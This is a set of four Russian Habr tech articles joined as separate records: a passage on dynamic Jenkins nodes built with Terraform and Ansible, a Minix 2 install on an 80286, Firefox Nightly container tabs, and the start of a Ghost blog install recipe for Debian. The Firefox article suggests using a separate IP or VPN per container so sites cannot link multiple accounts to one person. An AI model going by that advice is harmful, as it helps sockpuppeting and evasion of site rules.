Мы посмотрели на плагин [aws](https://plugins.jenkins.io/ec2/) и захотели нечто подобное. Динамическое выделение узлов по требованию решает все вышеописанные проблемы, и, как выяснилось, сделать это не так уж и сложно. С freestyle-проектами без знаний Java точно ничего не выйдет; казалось, что и с остальными тоже. Я даже начал забрасывать удочку к нашим Java-разработчикам, а потом нас осенило.
Что сделать, чтобы вас тоже осенило? Мы давно начали использовать pipeline-проекты и их производные: там уже можно делать вид, что ты программист на [Groovy](https://groovy-lang.org/documentation.html), и реализовывать вещи сложнее тех, которыми ограничиваются freestyle-проекты.
А если мы пишем код, то хочется его переиспользовать. Jenkins это умеет: сразу смотрите на [shared libraries](https://www.jenkins.io/doc/book/pipeline/shared-libraries/), хотя это и необязательно. Учить Groovy, скорей всего, будете по документации и по мануалам Jenkins и Stackoverflow. Я провёл за чтением доки и Stackoverflow не один и даже не два часа, а вот документацию Jenkins по shared libraries читал по диагонали, а оказалось, что самый интересный пример был именно там.
Давайте рассмотрим пример с определением собственных DSL-методов; в первую очередь обратите внимание на синтаксис.
> *If called with a block, the call method will receive a Closure. The type should be defined explicitly to clarify the intent of the step, for example:*
>
> // vars/windows.groovy
>
> def call(Closure body) {
>
> node('windows') {
>
> body()
>
> }
>
> }
>
> *The Pipeline can then use this variable like any built-in step which accepts a block:*
>
> *windows {*
>
> *bat "cmd /?"*
>
> *}*
>
>
Пример не исчерпывающий, ведь можно было бы сделать вот так:
```
// vars/windows.groovy
def call(String goodbye, Closure body) {
node('windows') {
try{
body()
} finally {
echo goodbye
}
}
}
```
Тогда сам вызов:
```
windows("I failed") {
bat "cmd /?"
}
```
Если честно, мне этот синтаксис до сих пор взрывает мозг, я не понимаю, как это работает. То, что closure — это объект и ссылку на него можно передавать в другие функции, вроде понятно, но почему-то из официальной документации эта картинка не образовалась. Один коллега сказал, что это похоже на [каррирование](https://groovy-lang.org/closures.html#_currying). Может, кто-нибудь объяснит в комментариях, как работает этот пример, и поделится ссылкой на документацию языка, а не на документацию Jenkins?
А мы пока двинемся дальше и посмотрим на этот пример:
```
withJenkinsSlave('Jenkins-slave10', [
'image_id': 'fd8avmufb6l',
'cores': 10,
'memory': 10,
'disk_size': 186,
'disk_type': 'network-ssd-nonreplicated'
]) {
node(DYNAMIC_SLAVE){
stage('Regression tests with Postgres') {
withGHStatus {
def image = ...
image.pull()
timeout(time: 60, activity:true, unit: 'MINUTES') {
image.inside(){
try {
sh '.....'
} catch (e) {
echo “An error occured”
throw e
} finally {
sh 'tar some_test_data'
archiveArtifacts('*.tar.xz')
}
}
}
}
}
}
}
```
Scripted-pipeline синтаксис с парочкой самописных dsl-методов. WithJenkinsSlave и есть наш метод, который создаст узел, где запустится тело node, а по окончании удалит узел из Jenkins и облака. Наш slave будет иметь 10 ядер, 10 Гб памяти, диск на 186 Гб, а тип диска будет зависеть от облачного провайдера. В области видимости есть переменная DYNAMIC\_SLAVE (имя нашего slave-узла), которую мы используем в качестве аргумента для DSL-метода node. Дальше уже более знакомые методы scripted pipeline.
С помощью метода withGHStatus отправим статус на GitHub о начале проверки, поймаем исключения от body, если такое будет, и отправим обратную связь на GitHub.
На всякий случай не забывайте про таймаут, чтобы не зависнуть. Его можно спрятать в withJenkinsSlave со значением по умолчанию.
Что такое jenkins-slave10? Мы будем поднимать, регистрировать и удалять узел, запуская bash. Для нас это единственный недостаток. Нам потребуется постоянный узел с достаточно большим количеством исполнителей, чтобы запускать легковесные скрипты. И такой узел уже есть — jenkins-slave10. На мастере это запускать не стоит. Он почти всегда онлайн, но ничто не мешает его выключать, когда узел простаивает.
В теле withJenkinsSlave у нас используется Bash и Terraform, у последнего есть провайдеры под большинство облаков и гипервизоров, так что подход практически универсален. Мы взяли [packer](https://www.packer.io/), приготовили образ наших будущих динамических узлов. Манифест для packer не прикладываю, это мало кому будет интересно.
Получившийся образ мы используем в Terrafrom, упакованный в Docker. В образе у нас находится манифест для создания виртуальной машины и два плейбука для добавления и удаления машины в кластере Jenkins. Ansible, который добавляет узел в кластер, тот же самый, что и раньше.
Ну и, наконец, тело самой функции из нашей функции из *shared-library*:
```
// vars/withJenkinsSlave.groovy
@Grab(group='org.apache.commons', module='commons-lang3', version='3.12.0')
import org.apache.commons.lang3.RandomStringUtils
def call(String main_node, Map params = [:], Closure body) {
Map localParams = params.clone()
def image = docker.image('terraform-Jenkins-slave:light-x64')
String randomString = org.apache.commons.lang.RandomStringUtils.randomAlphanumeric(5)
def prettyBuildTag = env.BUILD_TAG.toLowerCase().replaceAll('_', '-').replaceAll('Jenkins-', '')
String DYNAMIC_SLAVE = "slave-${randomString.toLowerCase()}-${prettyBuildTag}"
try {
node(main_node) {
cleanWs()
image.pull()
image.inside {
withCredentials([
string(
credentialsId: 'token',
variable: 'TF_VAR_token'),
usernamePassword(
credentialsId: 'Jenkins_user',
passwordVariable: 'Jenkins_API_PASSWORD',
usernameVariable: 'Jenkins_API_USER')
]) {
sh """
cp -r /terraform/* ./
terraform init
terraform apply \
-var \"build_tag=\${BUILD_TAG}\" \
-var 'hostname=${DYNAMIC_SLAVE}' \
-var 'image_id=${localParams.image_id ?: 'fd8avmufb6'}' \
-var 'subnet_id=${localParams.subnet_id ?: 'b0c0f43sk'}' \
-var 'cores=${localParams.cores ?: 32}' \
-var 'memory=${localParams.memory ?: 64}' \
-var 'disk_size=${localParams.disk_size ?: 250}' \
-var 'disk_type=${localParams.disk_type ?: 'network-hdd'}' \
-auto-approve
"""
localParams.ip_address = sh returnStdout: true,
script: 'terraform output -raw vm_ip_address'
sh """
ansible-playbook \
-e \"Jenkins_username=\${Jenkins_API_USER}\" \
-e \"Jenkins_password=\${Jenkins_API_PASSWORD}\" \
-e 'Jenkins_slave_hostname=${DYNAMIC_SLAVE}' \
-e 'Jenkins_slave_ip_address=${localParams.ip_address}' \
-e 'Jenkins_url=http://Jenkins' \
-e 'Jenkins_credential_id=credentials' \
init-Jenkins-slave.yaml
"""
}
}
stash includes: 'terraform.tfstate, terraform.tfstate.backup, .terraform.lock.hcl, .terraform/**',
name: DYNAMIC_SLAVE
}
body()
} finally {
node(main_node) {
try {
cleanWs()
unstash name: DYNAMIC_SLAVE
image.inside {
withCredentials([
string(
credentialsId: 'token',
variable: 'TF_VAR_token'),
usernamePassword(
credentialsId: 'Jenkins_user',
passwordVariable: 'Jenkins_API_PASSWORD',
usernameVariable: 'Jenkins_API_USER')
]) {
sh """
cp -r /terraform/* ./
terraform apply \
-var \"build_tag=\${BUILD_TAG}\" \
-var 'hostname=${DYNAMIC_SLAVE}' \
-var 'image_id=${localParams.image_id ?: 'fd8avmufb6'}' \
-var 'subnet_id=${localParams.subnet_id ?: 'b0c0f43sk'}' \
-var 'cores=${localParams.cores ?: 32}' \
-var 'memory=${localParams.memory ?: 64}' \
-var 'disk_size=${localParams.disk_size ?: 250}' \
-var 'disk_type=${localParams.disk_type ?: 'network-hdd'}' \
-auto-approve -destroy
ansible-playbook \
-e \"Jenkins_username=\${Jenkins_API_USER}\" \
-e \"Jenkins_password=\${Jenkins_API_PASSWORD}\" \
-e 'Jenkins_slave_hostname=${localParams.hostname}' \
-e 'Jenkins_url=http://Jenkins' \
remove-Jenkins-slave.yaml
"""
}
}
} catch (e) {
println('An error occurred when we tried to remove dynamic Jenkins slave')
print e
}
}
}
}
```
Выбираем случайное название, вызываем Terraform, сохраняем состояние в стэш stash — всё, данные для удаления есть. Регистрируем узел в Jenkins через Ansible, выполняем тело closure body, а потом всё удаляем.
В best practices по Jenkins говорится, что злоупотреблять Groovy не стоит, поскольку этот код исполняется на master. Поэтому в теле функции используются sh, Ansible и Terraform, а не [HTTP request plugin](https://www.jenkins.io/doc/pipeline/steps/http_request/). К тому же эти инструменты хорошо перекликаются с задачами, которые обычно решает DevOps, если в его распоряжении есть облако.
В итоге мы имеем ряд следующих достоинств и недостатков.
Достоинства
1. Ресурсы нужные для выполнения задачи описаны прямо в пайплайне.
2. Мы получили единую точку входа в узел и можем реализовывать в одном месте все хорошие практики, которые нам покажутся таковыми.
3. На самом деле, так можно добавлять не только slave-узлы, но и любые окружения, которые нам могут понадобиться, например, сервер Selenoid для наших UI-тестов.
Недостатки
1. Всё ещё нужен узел, хоть и маломощный. В качестве альтернативы можно использовать [Kubernetes-плагин](https://github.com/jenkinsci/kubernetes-plugin) и заменить узел с Docker на Kubernetes-под.
2. Это решение годится только для типов проекта pipeline и его производных. Нас это в целом устраивает.
3. Если PR синхронизируется новым пушем, то текущий билд обычно отменяют. Так вот, этот cancel может прилететь прямо в наш terraform destroy или ansible-t remove, что неприятно.
Рекомендую маркировать все создаваемые виртуальные машины меткой из переменной окружения, которая есть в каждой сборке Jenkins — BUILD\_TAG из-за недостатка №3. Мы обзавелись ещё одной задачей которая проверяет Jenkins/облако на наличие таких остатков и удаляет их.
Помимо библиотеки Jenkins’а у наших QA есть ещё фреймворк pytest. Мы используем его для формирования тестовых окружений, pytest не всегда убираются из-за ошибки в коде или из-за того, что сборку неожиданно отменили. Поскольку нам известно правило формирования BUILD\_TAG, сверившись с Jenkins, мы можем понять, какие виртуальные машины не имеют выполняемых родительских сборок, и их можно легко удалить, почистив облако, Jenkins и так далее.
Итого, чего нам удалось добиться:
---------------------------------
1. Мы настраиваем кластер и управляем им через Ansible. Но, поскольку о master’е речи не шло, только о slave-узлах, вопрос решён лишь наполовину или меньше. Жизненный цикл master’а надо покрывать тестами; недостаточно написать плейбук, который будет обновлять master’а в надежде, что ничего не взорвётся. То есть задача весьма нетривиальная.
Что же касается Jenkins job, то их мы храним в виде YAML и накатываем с помощью [Jenkins job builder](https://docs.openstack.org/infra/jenkins-job-builder/). Утилита конвертирует YAML в XML описание job и грузит их через rest api, написана на Python, поэтому дорабатывать её мы можем самостоятельно, если на это есть необходимость.
2. Очередей в Jenkins больше нет, как и простаиващих ресурсов.
3. Получили единую точку входа для всех стадий пайплайнов в виде библиотеки, что позволяет нам в одном месте реализовывать все наши лучшие практики, но появилась задача по CI для самой библиотеки, которую мы пока не решали.
4. Нет задачи по поддержанию узлов в рабочем состоянии, но есть задача по приборке мусора. Из Jenkins мы получаем данные о запущенных сборках и всегда можем пойти и подчистить в облаке виртуалки, которые остались по каким либо причинам, например cancel самого билда о котором мы упоминули ранее.
5. Стейджи изолированы виртуалками, никакой конкуренции.
6. Нет меток — нет проблем.
7. Мы используем такой же подход на kvm-гипервизоре архитектуры [PowerPC](https://ru.wikipedia.org/wiki/PowerPC). Но там ресурсы ограничены: как ожидать готовности гипервизора обслуживать наши запросы нам еще предстоит исследовать, пока мы еще не упирались в его максимальный ресурс.
Итого, мы полностью решили задачи 2, 3, 5, 6 и 7, а над задачами 1 и 4 ещё предстоит поработать для достижения идеала. Из смешного то, что никакой балансировки в общем то и нет, все по требованию здесь и сейчас. Если сравнивать например с GitHub Actions, то есть подозрение, что так сделать не получится, те решения которые я видел в Open Source основывались на анализе очереди и добавлении/удалении раннеров.
В заключение хочу поблагодарить своего коллегу Дмитрия К. за проверку гипотез и исходный код. | https://habr.com/ru/post/587262/ | null | ru | null |
# Установка Minix 2 на PC AT-совместимый компьютер с процессором 80286
В своей [предыдущей статье](https://habr.com/ru/post/537698/) я рассказывал о том, как собирал компьютер для экспериментов с 16-битным защищённым режимом Intel. Там же я анонсировал следующую статью, в которой пообещал установить на этот компьютер ОС, «которая раскроет потенциал 286 процессора наиболее полно», не называя эту ОС.
Интрига продержалась недолго − [@tormozedison](/users/tormozedison) угадал эту ОС с первой попытки, так что я могу с чистой совестью вынести её название в заголовок.
Дисклеймер остаётся в силе, только вместо омерзительных фотографий железяк здесь вам будут показаны чудовищные снимки экрана.
Историческая справка (о процессоре)
-----------------------------------
Intel 80286 имеет двойственную репутацию. С одной стороны, он считается технически отсталым по сравнению со своими менее удачливыми конкурентами, такими, как Motorola 68000, Zilog Z8000 или NatSemi NS32016. С другой стороны, он оказался слишком навороченным для рынка PC-клонов, ждавшего от Intel лишь более быстрого 8086.
В действительности 80286 вовсе не был таким уж технически отсталым. В одной своей особенности он даже здорово обогнал время: следующий микропроцессор со *встроенным* устройством защиты памяти − Motorola 68030 − появился аж на 5 лет позже. Ну и, несмотря на 16 бит и малое число регистров, 80286 не отставал от конкурентов в бенчмарках всю первую половину 1980-х, пока в игру не вступили длинные конвейеры и процессорный кэш.
Вот что касается избыточной сложности, то тут есть рациональное зерно. Как мы знаем, с 1976 года две разные команды в Intel параллельно работали над двумя проектами. Первый и основной из них − стековый процессор с объектно-ориентированной памятью, поддержкой ОС и языков высокого уровня в микрокоде − увидел свет в 1981 году под названием iAPX432 и стал оглушительным фиаско. Вторым, запасным, более приземлённым и преемственным по отношению к прежнему опыту проектом и был x86. И защищённый режим в 80286 был спроектирован явно с учётом опыта, полученного при реализации «ОС в кремнии» в iAPX432.
С другой стороны, как это видится мне сейчас, первоначальное отношение IBM к PC как к дойной корове способствовало застою и на рынке ПО. Создав компьютер «бизнес-класса» на базе заведомо устаревшего, бюджетного 8088, менеджмент IBM решил попридержать лошадей. Смены процессора потребители ждали два с половиной года: с февраля 1982, когда Intel выпустил 80286, до августа 1984, когда появился первый PC AT. И ещё год прошёл, прежде чем программисты Microsoft и IBM, осознали, что в их распоряжении оказался не просто быстрый ПК, а настоящий UNIX-воркстейшн. И неплохо было бы использовать его возможности по максимуму. Но к этому времени Intel уже подсуетился с 80386, а там и знаменитый демарш Compaq расшевелил сонное PC-совместимое болото. Так 80286 из невостребованного стал бесперспективным, оставаясь при этом лучшим выбором покупателя по параметру “Bang for the buck”.
Выбор ОС
--------
Если рассматривать историю 80286 в таком свете, становится понятным, почему большинство популярных ОС не используют его защищённый режим. Одни работают на 80286 в реальном режиме (MS-DOS и клоны, включая FreeDOS; [ELKS](https://github.com/jbruchon/elks)), другие не работают вообще (Linux, FreeBSD, Windows NT и 9x).
Наш выбор, таким образом, невелик:
* IBM OS/2 1.x,
* Microsoft (SCO) Xenix 286,
* Windows 3.0 или 3.1 («стандартный» режим был удалён из Windows for Workgroups 3.11),
* Novell NetWare 286,
* Minix 2.х.
В отличие от FreeDOS или ELKS, практически все эти операционки сейчас являются abandonware. А если учесть, что NetWare − специализированная ОС, а Windows 3 − таки не совсем ОС, то ситуация начинает выглядеть ещё печальней.
Из всего этого списка Minix выделяется тем, что имеет открытый исходный текст, к тому же её автор написал по ней [книгу](https://en.wikipedia.org/wiki/Operating_Systems:_Design_and_Implementation) (точнее, эта ОС была написана как иллюстрация к книге), так что нам вряд ли придётся страдать от недостатка информации по Minix. С другой стороны, Minix − это «учебная» ОС, в которой функциональность заведомо принесена в жертву простоте и читабельности кода. Но нас это не остановит.
Minix 2.0.4 − это последняя попытка Танненбаума с друзьями «пригладить» исходники и убрать разные мелкие баги перед тем, как окончательно перейти к новой мажорной версии, Minix 3. Позже Minix 3 станет «самой популярной ОС в мире» благодаря Intel, когда тот [выберет](https://www.opennet.ru/opennews/art.shtml?num=47539) её в качестве “backdoor OS” для IME. Но перед этим, увы, из Minix будет удалён код, обеспечивавший поддержку защищённого режима 286.
Установка
---------
Предыдущая статья подразумевает, что для установки Minix мы будем использовать эмулятор дисковода GoTek с открытой прошивкой FlashFloppy. Поэтому начнём с подготовки образов дискет.
### Подготовка образов дисков для эмулятора дисковода
Готовить образы дисков будем, конечно, в Linux. Сами образы можно взять [здесь](https://minix1.woodhull.com/current/2.0.4/i86/). Для установки нужно сначала загрузиться с образа корневого диска (ROOT.MNX), а затем смонтировать временный `/usr` (USR.MNX). Оба образа по размеру подходят для копирования на 720КБ дискеты, но, поскольку мы эмулируем 1.44МБ, то мы можем просто склеить их:
```
$ cat ROOT.MNX USR.MNX > 00_install.img
```
Файл получился размером меньше дискеты, поэтому «добьём» его до 1.44МБ, чтобы не смущать эмулятор:
```
$ truncate -s 1440k 00_install.img
```
Теперь подготовим образы, на которых мы передадим инсталлятору постоянный `/usr`. Как видите, файл USR.TAZ не помещается на одну дискету, но это не беда − разобьём его на несколько образов, а последний, неполный − подкорректируем:
```
$ dd if=USR.TAZ of=01_usr.img bs=1440k count=1 skip=0
$ dd if=USR.TAZ of=02_usr.img bs=1440k count=1 skip=1
$ dd if=USR.TAZ of=03_usr.img bs=1440k count=1 skip=2
$ truncate -s 1440k 03_usr.img
```
Такая вольность допустима, потому что файлы \*.TAZ − это не образы файловой системы, а архивы tar со сжатыми файлами.
Аналогичным образом мы можем подготовить исходные тексты ядра (два диска) и юзерспейса (ещё три диска). А также готовый вариант ядра системы для работы с сетью (один диск), хотя правильнее будет пересобрать ядро из исходников.
Заметьте, что я добавляю к имени файла образа номер-префикс, начиная с “00\_”. Это чтобы проще было искать образы на цифровом дисплее Готека. Если вы установили на свой Готек графический дисплей вроде [такого](https://www.aliexpress.com/item/32981478851.html), то хитрить с названиями файлов не обязательно.
Готовые образы копируем на флешку, отформатированную в FAT32, вставляем флешку в GoTek, включаем наш 80286 и приступаем к установке.
### Загрузка инсталлятора
Если загрузка с дискеты удалась, то инсталлятор поприветствует нас следующим образом:
Привычный к хитростям современных интерфейсов, я не сразу понял, что всё, что от меня требуется на данном этапе − нажать клавишу «=». Тогда начнётся загрузка и создание корневого раздела системы на RAM-диске. Разобравшись с корнем, инсталлятор попросит указать раздел, чтобы смонтировать в качестве `/usr`. Укажите `fd0p2`, как показано на снимке ниже.
Забавный факт: копирайт принадлежит не Танненбауму и не Амстердамскому Свободному Университету, а книжному издательству Прентис-Холл.
Теперь можно ввести “root” и запустить команду `setup`. После небольшой вводной и выбора клавиатуры нам предстоит разметить целевой диск при помощи утилиты `part`.
### Создание разделов
Интерфейс `part` не то чтобы слишком сложный, но может обескуражить непривычного пользователя вот таким экраном:
На самом деле всё идёт по плану, многочисленные вопросительные знаки не являются индикаторами каких-то проблем. Нужно прежде всего выбрать устройство клавишами “↓” и “↑” (“c0d0” − это master-диск на первом канале контроллера IDE) и нажать “r”, чтобы прочитать таблицу разделов этого устройства.
Перед тем, как приступить к созданию разделов, желательно прочитать “more help” и “advice”, а также оживить в памяти всё, что вы когда-то знали об MBR и геометрии дисков, но забыли в пользу GPT и EFI. Надо сказать, что в процессе используется драйвер IDE Minix, то есть ATA-команды, без ограничений, накладываемых вызовами BIOS. Но в записях MBR геометрия диска всё же учитывается.
В данном примере я создал раздел размером около 100 МБайт и готов продолжить установку. Здесь стоит учесть мой печальный опыт: `fsck` в 16-битном Minix исчерпывает доступную память и падает при попытке проверить файловую систему размером более 32 МБайт. В остальном 16-битная Minix нормально работает с дисками размером до 128 МБайт.
Однако разбивка диска ещё не закончена. Полученный раздел Minix дополнительно разделит на подразделы: `/` объёмом 1440 КБ, подкачки (опционально) и `/usr`.
На этапе определения подраздела подкачки инсталлятор скромно порекомендует отказаться от свопинга на системах с достаточным объёмом физической памяти (2 МБ и более), так как “Minix swapping isn't very good yet”. Я пока не в курсе, что здесь имеется ли в виду: отсутствие поддержки страниц или какие-то другие особенности реализации.
Дав пользователю последнюю возможность передумать, инсталлятор начинает копировать файлы.
### Копирование файлов
Этот этап затянется надолго даже с учётом использования GoTek, который не тратит времени на поиск секторов и дорожек.
Сначала инсталлятор копирует файлы со своих `/` и `/usr` в целевую систему. Когда этот процесс завершится, набираем `halt`, а затем `boot c0d0p0`. Так мы ускоренным образом загружаем систему c жёсткого диска, на который её устанавливаем. Входим как “root”. Теперь мы можем продолжить установку командой `setup` и развернуть те tar-архивы, которые подготовили вначале.
```
# setup /usr
What is the size of the images on the diskettes? [all]
What floppy drive to use? [0]
Please insert input volume 1 and hit return
```
Так мы получим полный набор утилит Minix, а также исходники ядра (SYS.TAZ) и юзерспейса (CMD.TAZ). Но учтите, что сетевой вариант ядра (NET.TAZ), если вы всё-таки решите его установить, нужно разворачивать не в `/usr`, а в корень:
```
# setup /
```
Если же вы, как и я, не ищете лёгких путей, вам определённо понадобятся исходники ядра.
Продолжение следует…
--------------------
В следующей статье, которая станет доступна уже очень скоро, я как раз и расскажу о настройке сети. Краткий туториал, только по делу. Ну, и немного о возможных темах следующих статей.
Полезные ссылки
---------------
* [Введение в архитектуру iAPX 432](http://bitsavers.org/components/intel/iAPX_432/171821-001_Introduction_to_the_iAPX_432_Architecture_Aug81.pdf).
* [Бенчмарк 80286 vs 68000](http://bitsavers.informatik.uni-stuttgart.de/components/intel/80186/210826_iAPX_186_286_Benchmark_Report_Oct82.pdf).
* [Andrew S. Tanenbaum, Albert S. Woodhull. Operating Systems: Design and Implementation. 2nd edition.](http://it.bmc.uu.se/andlov/dev/books/Operating%20Systems%20Design%20and%20Implementation%202nd.pdf)
* [Официальный сайт Mini](https://minix3.org/)[x](https://minix1.woodhull.com/).
* [Сайт поддержки Minix 2](https://minix1.woodhull.com/). | https://habr.com/ru/post/538382/ | null | ru | null |
# Firefox позволит заходить на сайты под несколькими аккаунтами одновременно
#### У каждого контейнера внутри Firefox — собственный набор куков, indexedDB, localStorage и кэш
*Работа в Twitter одновременно под рабочим и личным аккаунтами. Фото: Mozilla*
Ходят слухи, что на некоторых сайтах какие-то пользователи пишут одновременно под несколькими аккаунтами. Они якобы оставляют однотипные комментарии под разными никами. Игроки в покер и другие онлайн-игры жалуются, что соперники играют как будто сообща, словно договорившись разорить жертву.
Правда это или нет, но в экспериментальной сборке браузера [Firefox Nightly](https://nightly.mozilla.org/) только что реализована технология, которая сильно упрощает одновременную работу под несколькими аккаунтами. Теперь для этого не придётся заводить несколько виртуальных машин или открывать несколько браузеров: изоляция окружений реализована непосредственно между вкладками!
Разработчики Mozilla вчера [представили](https://blog.mozilla.org/tanvi/2016/06/16/contextual-identities-on-the-web/) новую функцию [Contextual Identities](https://wiki.mozilla.org/Security/Contextual_Identity_Project) для браузера Firefox 50 Nightly.
Формально, изоляция окружений (контейнеры) в Firefox создана для того, чтобы пользователь мог легко отделить свои аккаунты по нескольким сферам. Например, личные, рабочие, финансовые, шоппинг. Соответственно, открывая новую вкладку, пользователь сразу выбирает, из какого контейнера она будет работать.
Идея разработчиков в том, чтобы люди могли защитить свои конфиденциальные данные, если работают на одних и тех же сайтах из разных контейнеров. То есть в истории поисковых запросов для работы не должны появляться конфиденциальные данные, которые имеют отношение к личной жизни человека.
Теоретически, такая изоляция профилей повышает безопасность информации. Например, все финансовые данные и профили хранятся в «банковском» контейнере. Таким образом, при посещении сомнительного сайта из личного контейнера не произойдёт утечки финансовой информации через возможную XSS- или CSRF-атаку. Дополнительная изоляция здесь совсем не помешает.
У каждого контейнера внутри Firefox — свой собственный набор куков, собственный indexedDB, localStorage и кэш, собственная история сёрфинга и т.д. Получается, что если сайт открыт на вкладке из рабочего контейнера, то он не сможет получить доступ к кукам из личного контейнера. С другой стороны, различные вкладки из персонального контейнера будут использовать одни и те же куки, кэш и локальные базы данных.
По умолчанию, новые вкладки в в Firefox Nightly открываются как обычно, то есть как «общие» контейнеры. Чтобы получить изолированное окружение, пользователь должен вручную открыть вкладку внутри дополнительного контейнера. Для создания вкладки в новом контейнере есть несколько способов, в том числе через меню *File* – *New Container Tab*. Сейчас разработчики думают добавить ещё несколько способов открытия новой вкладки внутри контейнера, например, [длительным нажатием клавиши “+”](https://bugzilla.mozilla.org/show_bug.cgi?id=1272256) на клавиатуре.
В данный момент доступны контейнеры Personal, Work, Banking, Shopping. Каждый из них помечен своим цветом: синий, оранжевый, зелёный и розовый, соответственно, чтобы случайно не перепутать. Соответствующая цветная полоска размещается над указателем вкладки.
Для одновременной работы под несколькими аккаунтами удобно также завести каждому контейнеру отдельный IP-адрес (отдельный VPN), чтобы на сайте не догадались, что многочисленные пользователи принадлежат одному лицу. Возможно, в будущих версиях Firefox реализуют такую функцию, она была бы логичным продолжением идеи контейнеров Firefox.
Контейнеры — это, в своём роде, нечто среднее между обычным и приватным режимами сёрфинга в Firefox. Как известно, в режиме *Private Mode* при выходе из браузера или закрытии вкладки полностью стираются все куки, история и кэш, так что каждый раз начинается работа «с чистого листа».
Нужно иметь в виду, что некоторые сайты запрещают заводить несколько аккаунтов. Например, такое косвенно запрещено в [правилах «Хабрахабра»](https://habrahabr.ru/info/help/rules/) (редакция от 16 мая 2016 года).
> Вот список того, чего на ресурсе делать не следует.
>
>
>
> **Создавать виртуалов**. Всегда приятно поговорить с умным человеком, но создавать для этого добавочные аккаунты и накручивать с них карму и голоса за публикации не стоит.
Как обычно, любые экспериментальные технологии организация Mozilla сначала опробует в Firefox Nightly, а затем на основании отзывов пользователей дорабатывает их, исправляет ошибки и очень часто доводит до реализации в стабильной версии браузера.
В данном случае ожидается широкая общественная дискуссия, потому что тема авторизации на сайтах под несколькими аккаунтами из одного браузера обсуждается давно: см. [обсуждение в блоге Mozilla](https://blog.mozilla.org/ladamski/2010/07/contextual-identity/) от 2010 года и [статью](http://www.ieee-security.org/TC/W2SP/2013/papers/s1p2.pdf) от 2013 года для технического комитета IEEE по безопасности и защите конфиденциальных данных, опять от представителей организации Mozilla.
Предстоит решить несколько проблем, в том числе определить, насколько чётко и надёжно пользователи различают контейнеры друг от друга, не путают ли их. Другой вопрос — как разрешать ситуации, когда пользователь спутал контексты и зашёл в аккаунт из другого контейнера, следует ли реализовать функцию «отката» базы и куков с целью исправления ошибки? В принципе, пользовательские данные уже утекли, так что такой откат даёт только ложное чувство безопасности, возможно, его и не надо реализовывать.
Третий вопрос — должен ли браузер подсказывать пользователю, в какой контекст, то есть в какой контейнер лучше перенести новую вкладку и определённый сайт, чтобы пользователям не приходилась выполнять всю работу по управлению контейнерами самостоятельно? Если браузер должен помогать, то какие эвристики использовать для выполнения такой работы?
Mozilla надеется на помощь и подсказки сообщества в обсуждении этих проблем.
Своё мнение о контейнерах сейчас можно высказать, заполнив [небольшую анкету](https://docs.google.com/forms/d/1oQN14TUnqj-MDErp8MKxH_v7YttOASVdER4lwCgbGKY/viewform?c=0&w=1).
Если всё пойдёт по плану, то контейнеры Contextual Identities могли бы появиться в стабильной версии Firefox 50, которая запланирована к выходу ориентировочно [осенью 2016 года](https://www.mozilla.org/media/img/firefox/organizations/release-overview-high-res.7f1fea43e9e2.png). Но разработчики считают, что контейнеры следует ещё дополнительно тестировать. В следующей версии Aurora/DevEdition 50 контейнеры не будут включены по умолчанию. На осень 2016 года запланировано более подробное исследование на добровольцах по программе [Test Pilot](https://testpilot.firefox.com/).
В любом случае, контейнеры всегда можно будет отключить. Сейчас в Firefox Nightly это делается в `about:config` через настройку `privacy.userContext.enabled` (нужно установить значение `false`).
Mozilla надеется, что новая функция будет полезна людям, которым раньше приходилось запускать второй браузер или несколько виртуальных машин. Теперь у них нет причин выходить из любимого Firefox.
Следует иметь в виду, что у сайтов всё равно остаётся возможность идентифицировать отдельных пользователей, которые пользуются разными аккаунтами. Для этого применяются техники фингерпринтинга, то есть составления «отпечатка» системы по сочетанию нескольких характеристик: версия ОС, user-agent браузера, набор установленных шрифтов, IP-адрес и многие другие. Недавно сайты начали применять [более продвинутые техники](https://webtransparency.cs.princeton.edu/webcensus/index.html) для отслеживания пользователей: [фингерпринтинг по рендерингу Сanvas](https://webtransparency.cs.princeton.edu/webcensus/canvas_scripts.html), [через Audio API](https://audiofingerprint.openwpm.com/), путём выявления реального IP-адреса через [WebRTC Local IP](https://webtransparency.cs.princeton.edu/webcensus/webrtc_scripts.html), через список установленных шрифтов [по Canvas-Font](https://webtransparency.cs.princeton.edu/webcensus/font_scripts.html). Наилучший эффект даёт сочетание всех этих методов. По указанным ссылкам перечислены сайты из числа самых популярных сайтов интернета, где работают соответствующие скрипты для скрытого фингерпринтинга.
Так что для более надёжной анонимной работы лучше заходить на сайты через сеть анонимайзеров с использованием [браузера Tor](https://www.torproject.org/download/download-easy.html.en). Желательно также использовать [операционную систему Tails](https://habrahabr.ru/post/219677/), которая изначально настроена для безопасной работы в интернете. Именно этот дистрибутив Linux раньше использовал Эдвард Сноуден. | https://habr.com/ru/post/395131/ | null | ru | null |
# Рецепт установки блога GHost в VMManager для Debian 9
**Цель:** Дать методику написания рецепта для VMManager, с самим рецептом в конце. В итоге упростить установку блога GHost для не подготовленных пользователей.
**Целевая аудитория:** Блогеры и те кто хотят ими стать, а так же хостеры желающие использовать подобный рецепт и просто администраторы.
Причина написания статьи кроется в том, что только за последний месяц ко мне уже второй раз обращаются за помощью в установке GHost, причём заваливаются на банальном. Поискал инструкции по установке и понял что рядовой пользователь, который не общается с консолью, вероятно не быстро их распробует.
Поехали…
Для начала нужно понять как же вообще пишется рецепт, кому интересно эти знания я подцепил [тут](https://doc.ispsystem.ru/index.php/%D0%A0%D0%B5%D1%86%D0%B5%D0%BF%D1%82%D1%8B_%D1%82%D0%B5%D1%85%D0%BD%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B5_%D0%B4%D0%B5%D1%82%D0%B0%D0%BB%D0%B8)
У меня после прочтения принципа создания рецепта получилось вот это:
```
#!/bin/bash
#
# metadata_begin
# recipe: ghost
# tags: debian9
# revision: 1
# description_ru: Тут будет описание когда рецепт будет готов напишем его.
# metadata_end
#
```
Всё остальное чистый bash, то есть надо написать скрипт, который ставит все необходимые программы для работы ghost. Перечислим эти программы:
1. NodeJS >=4.5 <5 >=6.9 <7
2. Nginx
3. yarn
NodeJS нужной версии можно взять из официальных репозиториев Debian, на момент написания статьи там 6.11.4~dfsg-1 версия.
Те, кому эта идея может показаться рискованной могут использовать репозитории NodeJS с официального сайта.
Nginx и yarn будем ставить из предустановленных репозиториев. Чтобы добавить репозиторий unstable понадобится такая строчка.
*Если Вам не нужен рецепт для панели, а просто нужно поставить GHost через консоль на Debian 9, то можете выполнять все команды в консоли от root-пользователя. Данный рецепт тестировался только на Debian 9, хотя и на других версиях Debian он тоже должен сработать.*
```
echo 'deb http://ftp.ru.debian.org/debian unstable main' > /etc/apt/sources.list.d/nodejs.list
```
